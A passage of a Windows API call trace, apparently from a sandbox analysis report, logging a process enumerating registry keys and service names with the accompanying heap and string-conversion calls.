dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0234.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0234.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0234.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.851] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0234.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0234.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0234.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.852] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0234.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0234.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.852] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0234.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0234.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.852] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0234.852] RegCloseKey (hKey=0x154) returned 0x0 [0234.852] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0234.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0234.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0234.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.853] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0234.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0234.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a90, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0234.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.853] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0234.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0234.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1cd0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0234.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.853] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0234.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0234.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a90, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0234.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.853] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0234.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0234.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1cd0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0234.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.854] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0234.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0234.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0234.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.854] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0234.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0234.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0234.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.855] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0234.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0234.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.855] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0234.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0234.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0234.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.855] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0234.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0234.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.855] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0234.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0234.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1cd0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0234.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.856] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0234.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0234.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.856] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0234.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0234.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.856] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0234.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0234.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.857] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0234.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0234.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0234.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.857] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0234.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0234.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0234.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.857] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0234.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, 